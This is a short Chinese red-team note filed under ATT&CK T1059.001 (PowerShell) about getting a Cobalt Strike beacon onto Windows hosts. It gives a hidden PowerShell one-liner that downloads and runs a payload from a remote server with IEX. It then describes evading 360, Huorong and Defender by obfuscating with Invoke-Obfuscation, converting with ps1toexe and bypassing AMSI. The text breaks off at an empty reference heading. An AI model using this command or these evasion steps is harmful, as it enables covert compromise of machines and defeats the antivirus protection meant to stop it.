ATT&CK-Execution

Command and Scripting Interpreter

T1059.001 PowerShell

基础命令

一句话上线：

CSpowershell上线：

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.123.143:8888/1'))"

对于一句话下载的payload：免杀火绒或者360静态查杀的方法，使用CS生成powershell版本的payload，使用Invoke-Obfuscation进行混淆，然后使用ps1toexe将其转为exe，或者直接放到服务器上，使用上面的一句话上线。

但是一句话上线360/火绒都会进行行为拦截，而defender由于存在amsi，需要使用[bypass amsi](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)后再运行

对于火绒的绕过方法：

参考文章：